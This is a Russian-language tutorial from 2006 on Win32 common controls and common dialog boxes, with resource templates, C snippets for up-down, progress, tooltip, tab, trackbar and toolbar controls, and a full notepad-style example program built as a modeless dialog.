- Управляющий элемент «up-down» представляет собой пару небольших
кнопок-стрелок, нажимая которые, пользователь увеличивает или уменьшает
значение. Этот элемент, как правило, связывается с элементом-компаньоном
(buddy window), обычно реализованным в виде поля редактирования.
Для пользователя элемент «up-down» и его компаньон представляются единым
управляющим элементом.CONTROL "0", 5, "EDIT", ES_LEFT|WS_BORDER, 5, 30, 30, 10 CONTROL "", 6, UPDOWN_CLASS, UDS_AUTOBUDDY|UDS_SETBUDDYINT, 35, 30, 10, 10
Если при создании элемента «up-down» указать стиль UDS_AUTOBUDDY,
то компаньоном будет назначен предыдущий управляющий элемент диалога.
Программа может также передать дескриптор окна-компаньона при помощи
сообщения UDM_SETBUDDY (wp=(WPARAM)(HWND)hwndBuddy —
дескриптор окна-компаньона; lp=0). Если элементу «up-down»
назначить стиль UDS_SETBUDDYINT, то он будет автоматически
менять текст окна-компаньона, представляющий числовое значение.
Другой способ создать элемент «up-down» — использовать функциюHWND WINAPI CreateUpDownControl( DWORD dwStyle, /* стиль элемента */ int x, int y, /* позиция */ int cx, int cy, /* размеры */ HWND hParent, /* дескриптор родительского окна */ int ID, /* id элемента */ HINSTANCE hInst, /* дескриптор экземпляра программы */ HWND hBuddy, /* дескриптор окна-компаньона */ int nUpper, /* максимальное значение */ int nLower, /* минимальное значение */ int nPos /* текущее значение */ )
- Progress Bars (PROGRESS_CLASS)
- Полоса прогресса — это окно, которое программа может использовать
для индикации состояния выполнения какой-либо длительной операции.
Окно представляет собой прямоугольник, заполняемый системным цветом
слева направо.CONTROL "",3,PROGRESS_CLASS,WS_BORDER, 5, 45, 100, 10
Каждый раз, когда приложение посылает этому окну сообщение
PBM_STEPIT (wp=0; lp=0), заполнение полосы прогресса
продвигается дальше вправо на некоторое значение. - Tooltip Controls (TOOLTIPS_CLASS)
- Окно-подсказка — всплывающее окно, содержащее строку описательной
информации о том или ином элементе интерфейса программы. Таким элементом
интерфейса может быть конкретное окно (управляющий элемент) или прямоугольный
участок клиентской области какого-либо окна. Большую часть времени
подсказка скрыта. Она появляется, когда пользователь задерживат курсор
мыши над тем или иным элементом интерфейса программы более, чем на полсекунды.
Подсказка скрывается, когда пользователь кликает мышью или уводит курсор
с этого элемента. Одно окно-подсказка может обслуживать любое количество
элементов интерфейса. Чтобы назначить тому или иному элементу интерфейса
программы подсказку, надо окну-подсказке послать сообщение TTM_ADDTOOL
(wp=0; lp=(LPARAM)(TOOLINFO*)lpti — указатель на структуру,
содержащую информацию об элементе). Пример:TOOLINFO ti; HWND hwTooltip=CreateWindow(TOOLTIPS_CLASS,"",TTS_ALWAYSTIP, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,NULL,NULL,h,NULL); ti.cbSize=sizeof(TOOLINFO); ti.uFlags=TTF_SUBCLASS|TTF_IDISHWND; ti.hwnd=hMainWnd; ti.uId=(UINT)GetDlgItem(hMainWnd,ID_MYBUTTON); ti.hinst=h; ti.lpszText="Tooltip for my button"; SendMessage(hwTooltip,TTM_ADDTOOL,0,(LPARAM)&ti);
- Property Sheets & Tab Controls
- Элементы вкладки свойств и переключатели вкладок
обычно используются совместно. Пример использования вкладок:Каждая вкладка содержит свой набор управляющих элементов и может
задаваться в ресурсах так же, как и отдельный диалог:/* Шаблон вкладки "Общие" */ ODTab_General DIALOG 0,0,180,150 CAPTION "Общие" STYLE WS_CHILD|WS_VISIBLE FONT 8,"Arial" { GROUPBOX "Интерфейс",-1,5,5,170,40 PUSHBUTTON "Шрифт температуры",IDC_FONT,20,15,140,12 AUTOCHECKBOX "На полный экран",IDC_FULLSCR,20,30,140,10,WS_DISABLED GROUPBOX "Алгоритм",-1,5,50,170,80 LTEXT "Приоритет:",-1,15,65,50,10 CTEXT "priority",IDC_PRIOTEXT,70,56,85,8 CONTROL "",IDC_PRIOTRACK,TRACKBAR_CLASS,TBS_TOP|TBS_AUTOTICKS,70,64,85,17 LTEXT "Период опроса датчика:",-1,15,85,110,10 EDITTEXT IDC_TRATE,125,85,25,10,ES_RIGHT LTEXT "мс",-1,152,85,10,10 LTEXT "Период опроса формирователя:",-1,15,100,110,10 EDITTEXT IDC_FRATE,125,100,25,10,ES_RIGHT LTEXT "мс",-1,152,100,10,10 LTEXT "Тайм-аут:",-1,15,115,110,10 EDITTEXT IDC_TIMEOUT,125,115,25,10,ES_RIGHT LTEXT "мс",-1,152,115,10,10 } /* Шаблон вкладки "Датчик" */ ODTab_Sensor DIALOG 0,0,180,150 CAPTION "Датчик" STYLE WS_CHILD|WS_VISIBLE FONT 8,"Arial" { /* ... */ } /* Шаблон вкладки "Порты" */ ODTab_Ports DIALOG 0,0,200,150 CAPTION "Порты" STYLE WS_CHILD|WS_VISIBLE FONT 8,"Arial" { /* ... */ }
Для создания диалога с вкладками используется функция PropertySheet,
перед вызовом которой надо заполнить соответствующие системные структуры:char *TabTemplts[NumTabs]={"ODTab_General","ODTab_Sensor","ODTab_Ports"}; PROPSHEETPAGE psp[NumTabs]; /* заполняется для каждой вкладки */ for (i=0; i<NumTabs; i++) { psp[i].dwSize=sizeof(PROPSHEETPAGE); psp[i].dwFlags=PSP_DEFAULT; psp[i].hInstance=hThisInstance; psp[i].pszTemplate=TabTemplts[i]; psp[i].pfnDlgProc=(DLGPROC)GlobDlgProc; psp[i].pfnCallback=NULL; } PROPSHEETHEADER psh; /* описывает весь диалог */ psh.dwSize=sizeof(PROPSHEETHEADER); psh.dwFlags=PSH_NOAPPLYNOW|PSH_PROPSHEETPAGE; psh.hwndParent=hWnd; psh.hInstance=hThisInstance; psh.pszCaption="Настройки"; psh.nPages=NumTabs; psh.nStartPage=0; psh.ppsp=(LPCPROPSHEETPAGE)&psp; psh.pfnCallback=NULL; PropertySheet(&psh);
Для каждой вкладки может быть своя диалоговая процедура, а может быть общая
для всех вкладок (как в этом примере). - Trackbars (TRACKBAR_CLASS)
- Ползунок (бегунок) используется, если от пользователя
требуется получить дискретное значение из определенного диапазона.
Маркер ползунка пермещается на заданное программой значение.
Пример ползунка показан на первой вкладке предыдущего примера.
Ползунки бывают горизонтальные (TBS_HORZ) или вертикальные
(TBS_VERT). Диапазон значений ползунка задается сообщением
TBM_SETRANGE (wp=(BOOL)fRedraw — перерисовать маркер
после изменения диапазона; lp=MAKELONG(lMinimum,lMaximum) —
диапазон значений: младшее слово — минимальное значение,
старшее слово — максимальное значение). Переместить ползунок можно
при помощи сообщения TBM_SETPOS (wp=TRUE;
lp=(LONG)position — новая позиция ползунка). Чтобы получить
текущее значение ползунка, следует послать ему сообщение TBM_GETPOS
(wp=0; lp=0). Ползунок оповещает родительское окно о событиях
через сообщение WM_HSCROLL (LOWORD(wp)=ScrollCode —
код события; HIWORD(wp)=posistion — позиция маркера ползунка;
lp=(HWND)hwndTrackBar — дескриптор элемента). - Toolbars (TOOLBARCLASSNAME)
- Панель инструментов — это окно, содержащее набор кнопок,
посылающих командное сообщение родительскому окну, когда пользователь
щелкает по ним. Как правило, кнопки на панели инструментов соответствуют
часто используемым командам меню приложения. Панель инструментов
располагается ниже строки меню.Информация о кнопках передается панели инструментов через структуру
TBBUTTON, а для создания окна панели инструментов удобно
использовать функцию CreateToolbarEx.TBBUTTON tbb[nButtons]; /* 1я кнопка */ tbb[0].iBitmap=STD_PROPERTIES; /*id иконки*/ tbb[0].idCommand=ID_OPTION; /*id команды*/ tbb[0].fsState=TBSTATE_ENABLED; /*состояние*/ tbb[0].fsStyle=TBSTYLE_BUTTON; /*стиль*/ tbb[0].iString=0; /*подпись под кнопкой*/ /* 2я кнопка */ tbb[1].iBitmap=STD_REDOW; tbb[1].idCommand=ID_CALCOUT; tbb[1].fsState=TBSTATE_ENABLED; tbb[1].fsStyle=TBSTYLE_BUTTON; tbb[1].iString=0; /* 3я кнопка */ tbb[2].iBitmap=STD_UNDO; tbb[2].idCommand=ID_CALCIN; tbb[2].fsState=TBSTATE_ENABLED; tbb[2].fsStyle=TBSTYLE_BUTTON; tbb[2].iString=0; /* разделитель */ tbb[3].fsStyle=TBSTYLE_SEP; /* и т.д. */ HWND htb=CreateToolbarEx( (HWND) hWndMain, /*дескриптор родительского окна*/ (DWORD) WS_CHILD|WS_VISIBLE|TBSTYLE_TOOLTIPS, /*стиль*/ (UINT) ID_TOOLBAR, /*id окна*/ (int) 15, /*количество иконок в указанном ресурсе*/ (HINSTANCE) HINST_COMMCTRL, /*дескриптор модуля, из которого берется ресурс с иконками*/ (UINT) IDB_STD_SMALL_COLOR, /*id ресурса с иконками*/ (TBBUTTON*) tbb, /*указатель на массив с информацией о кнопках*/ (int) nButtons, /*количество кнопок на панели*/ 16,16, /*размеры кнопок*/ 15,15, /*размеры иконок для кнопок*/ sizeof(TBBUTTON) /*размер структуры TBBUTTON*/ );
- Rich Edit Controls (RICHEDIT_CLASS)
- Продвинутое поле редактирования является развитием
класса «EDIT» стандартных управляющих элементов. Элементы управления
этого класса поддерживают форматирование текста (по отдельным символам и
по отдельным абзацам) и позволяют внедрять OLE-объекты. - Tree View Controls (WC_TREEVIEW)
- Элемент просмотра дерева позволяет представлять информацию
об иерархии некоторых объектов (содержание документа, дерево каталогов
файловой системы и т.п.) Каждый объект может быть представлен текстовой
меткой и иконкой. Объект может иметь иерархию дочерних объектов,
которая раскрывается по щелчку на этом элементе.
Windows предоставляет набор готовых стандартных диалогов посредством
библиотеки Common Dialog Boxes Library (COMDLG32.DLL): диалог открытия
и сохранения файла, диалог печати документа, диалог выбора цвета, шрифта и т.п.
Чтобы создать один из перечисленных диалогов, надо заполнить определенную
структуру и вызвать соответствующую функцию из этой библиотеки:
- BOOL WINAPI ChooseColor(CHOOSECOLOR* lpcc)
— создает диалог, отображающий палитру цветов и позволяющий
пользователю выбрать тот или иной цвет или создать свой. - BOOL WINAPI ChooseFont(CHOOSEFONT* lpcf)
— создает диалог, отображающий имена установленных в системе шрифтов,
их кегль, стиль начертания и т.п. - BOOL WINAPI GetOpenFileName(OPENFILENAME* lpofn)
и BOOL WINAPI GetSaveFileNAme(OPENFILENAME* lpofn)
— создают диалог, отображающий содержимое того или иного каталога,
и позвояющий пользователю выбрать уникальное имя файла для открытия или
сохранения. - BOOL WINAPI PrintDlg(PRINTDLG* lppd)
— создает диалог, позволяющий пользователю установить различные
опции печати, например, диапазон страниц, количество копий и др. - BOOL WINAPI PageStupDlg(PAGESETUPDLG* lppsd)
— создает диалог, позволяющий пользователю выбрать различные
параметры страницы: ориентацию, поля, размер бумаги и т.п. - HWND WINAPI FindText(FINDREPLACE* lpfr)
— создает диалог, позволяющий пользователю ввести строку для поиска
и такие опции, как направление поиска. - HWND WINAPI ReplaceText(FINDREPLACE* lpfr)
— создает диалог, позволяющий пользователю ввести строку для поиска,
строку для замены и опции замены (направление поиска, область поиска).
Все перечисленные диалоги, кроме последних двух, — модальные,
т.е. указанная функция не вернет значение, пока пользователь тем или
иным способом не закроет диалог. Значение TRUE означает,
что пользователь закрыл диалог, нажав на «ОК», а соответствующая структура
заполнена новыми значениями. Значение FALSE означает,
что пользователь нажал на [Esc], выбрал команду системного меню «Закрыть»
или нажал кнопку «Отмена», а соответствующая структура осталась неизменной.
Пример использования диалога открытия файла:
char filename[MAX_PATH]=""; /*буфер под имя файла*/ OPENFILENAME of; of.lStructSize=OPENFILENAME_SIZE_VERSION_400A; /*размер структуры OPENFILENAME*/ of.hwndOwner=hw; /*дескриптор родительского окна*/ of.hInstance=h; /*дескриптор экземпляра программы*/ of.lpstrFilter="All files (*.*)\0*.*\0";/*фильтр файлов (тип)*/ of.lpstrCustomFilter=NULL; /*еще один фильтр: нам не надо*/ of.nMaxCustFilter=0; /*нам не надо*/ of.nFilterIndex=1; /*количество заданных нами фильтров*/ of.lpstrFile=filename; /*адрес буфера под имя файла*/ of.nMaxFile=MAX_PATH; /*размер буфера под имя файла*/ of.lpstrFileTitle=NULL; /*буфер под рекомендуемый заголовок: нам не надо*/ of.nMaxFileTitle=0; /*нам не надо*/ of.lpstrInitialDir=NULL; /*стартовый каталог: текущий*/ of.Flags=OFN_PATHMUSTEXIST|OFN_FILEMUSTEXIST|OFN_HIDEREADONLY; /*разные флаги*/ if (GetOpenFileName(&of)) { /* действия в случае успешного выбора файла */ }
Ресурсы значительно облегчают работу программиста по созданию интерфейса
программы, поэтому весьма привлекательно использовать ресурсы для описания
главного окна. Это возможно в случае, если главное окно реализовано в виде
немодального диалога.
Пример 5 демонстрирует использование немодального диалога
в приложении типа «блокнот».
Файл example5.h содержит константы-идентификаторы команд меню
и элементов диалога.
#define IDC_OPEN 10 #define IDC_SAVE 11 #define IDC_SAVEAS 12 #define IDC_EXIT 13 #define IDC_ABOUT 14 #define ID_EDIT 20 #define ID_STATUS 21
Файл example5.rc описывает ресурсы программы: иконку, меню и шаблон диалога.
#include "example5.h" Ex5_Icon ICON "myicon.ico" Ex5_Menu MENU { POPUP "&File" { MENUITEM "&Open...", IDC_OPEN MENUITEM "&Save", IDC_SAVE MENUITEM "Save &As...", IDC_SAVEAS MENUITEM SEPARATOR MENUITEM "&Exit\tAlt-F4", IDC_EXIT } POPUP "&Help" { MENUITEM "&About...", IDC_ABOUT } } Ex5_Dlg DIALOG 50,50,300,200 STYLE WS_OVERLAPPED|WS_CAPTION|WS_BORDER|WS_SYSMENU|WS_VISIBLE MENU "Ex5_Menu" CAPTION "Example 5" FONT 10, "Arial" { EDITTEXT ID_EDIT, 5, 5, 290, 180, ES_MULTILINE|ES_WANTRETURN|ES_AUTOHSCROLL|ES_AUTOVSCROLL CONTROL "", ID_STATUS, STATUSCLASSNAME, 0, 0, 0, 0, 0 }
Файл example5.cpp — текст программы.
#include <windows.h> #include <commctrl.h> #include <stdlib.h> #include "example5.h" BOOL CALLBACK MainProc(HWND,UINT,WPARAM,LPARAM); HINSTANCE hThisInstance; char filename[MAX_PATH]=""; /*буфер имени файла*/ int WINAPI WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int) { hThisInstance=hInst; InitCommonControls(); HWND hMainWnd=CreateDialog(hInst,"Ex5_Dlg",NULL,(DLGPROC)MainProc); if (!hMainWnd) return FALSE; MSG msg; /*цикл обработки событий*/ while (GetMessage(&msg,NULL,0,0)) { if (!IsDialogMessage(hMainWnd,&msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return msg.wParam; } /* диалоговая процедура */ BOOL CALLBACK MainProc(HWND hw,UINT msg,WPARAM wp,LPARAM lp) { static DWORD OldIcon=0; /* id старой иконки диалога */ static OPENFILENAME of; char* buf; HANDLE hf; DWORD len,len1; switch (msg) { case WM_INITDIALOG: /* меняем иконку диалога */ OldIcon=SetClassLong(hw,GCL_HICON,(long)LoadIcon(hThisInstance,"Ex5_Icon")); return TRUE; case WM_COMMAND: switch (LOWORD(wp)) { case IDCANCEL: /* посылается при закрытии диалога по [Esc]*/ case IDC_EXIT: /* команда меню "Exit" */ DestroyWindow(hw); break; case IDC_OPEN: /* команда меню "Open" */ of.lStructSize=OPENFILENAME_SIZE_VERSION_400A; of.hwndOwner=hw; of.lpstrFilter="All files (*.*)\0*.*\0"; of.lpstrCustomFilter=NULL; of.nMaxCustFilter=0; of.nFilterIndex=1; of.lpstrFile=filename; of.nMaxFile=MAX_PATH; of.lpstrFileTitle=NULL; of.nMaxFileTitle=0; of.lpstrInitialDir=NULL; of.Flags=OFN_PATHMUSTEXIST|OFN_FILEMUSTEXIST|OFN_HIDEREADONLY; if (!GetOpenFileName(&of)) break; SetDlgItemText(hw,ID_STATUS,filename); /* открываем файл */ hf=CreateFile(filename,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); if (hf==INVALID_HANDLE_VALUE) { MessageBox(hw,"Open failed","Error",MB_ICONHAND|MB_OK); break; } len=GetFileSize(hf,NULL); buf=(char*)malloc(len+1); /* доп. байт под символ-терминатор (0) */ if (!buf) { MessageBox(hw,"Mem alloc failed","Error",MB_ICONHAND|MB_OK); break; } ReadFile(hf,buf,len,&len1,NULL); buf[len1]=0; CloseHandle(hf); SetDlgItemText(hw,ID_EDIT,buf); free(buf); break; case IDC_SAVEAS: /* команда меню "Save As" */ of.lStructSize=OPENFILENAME_SIZE_VERSION_400A; of.hwndOwner=hw; of.lpstrFilter="All files (*.*)\0*.*\0"; of.lpstrCustomFilter=NULL; of.nMaxCustFilter=0; of.nFilterIndex=1; of.lpstrFile=filename; of.nMaxFile=MAX_PATH; of.lpstrFileTitle=NULL; of.nMaxFileTitle=0; of.lpstrInitialDir=NULL; of.Flags=OFN_PATHMUSTEXIST|OFN_OVERWRITEPROMPT|OFN_HIDEREADONLY; if (!GetSaveFileName(&of)) break; case IDC_SAVE: /* команда меню "Save" */ if (lstrlen(filename)==0) { /* для нового файла - вызываем диалог "Save As" */ PostMessage(hw,WM_COMMAND,IDC_SAVEAS,lp); break; } SetDlgItemText(hw,ID_STATUS,filename); /* сохраняем файл */ hf=CreateFile(filename,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); if (hf==INVALID_HANDLE_VALUE) { MessageBox(hw,"Save failed","Error",MB_ICONHAND|MB_OK); break; } len=SendDlgItemMessage(hw,ID_EDIT,WM_GETTEXTLENGTH,0,0); buf=(char*)malloc(len+1); /* доп. байт под символ-терминатор (0) */ GetDlgItemText(hw,ID_EDIT,buf,len+1); if (!buf) { MessageBox(hw,"Mem alloc failed","Error",MB_ICONHAND|MB_OK); break; } WriteFile(hf,buf,len,&len1,NULL); CloseHandle(hf); free(buf); break; case IDC_ABOUT: /* команда меню "About" */ MessageBox(hw,"Example N5 from http://dims.karelia.ru/win32","About",MB_OK|MB_ICONINFORMATION); break; } return TRUE; case WM_DESTROY: /* при закрытии окна восстанавливаем старую иконку */ SetClassLong(hw,GCL_HICON,(long)OldIcon); PostQuitMessage(0); return TRUE; } return FALSE; }
2006 г. WinApi
|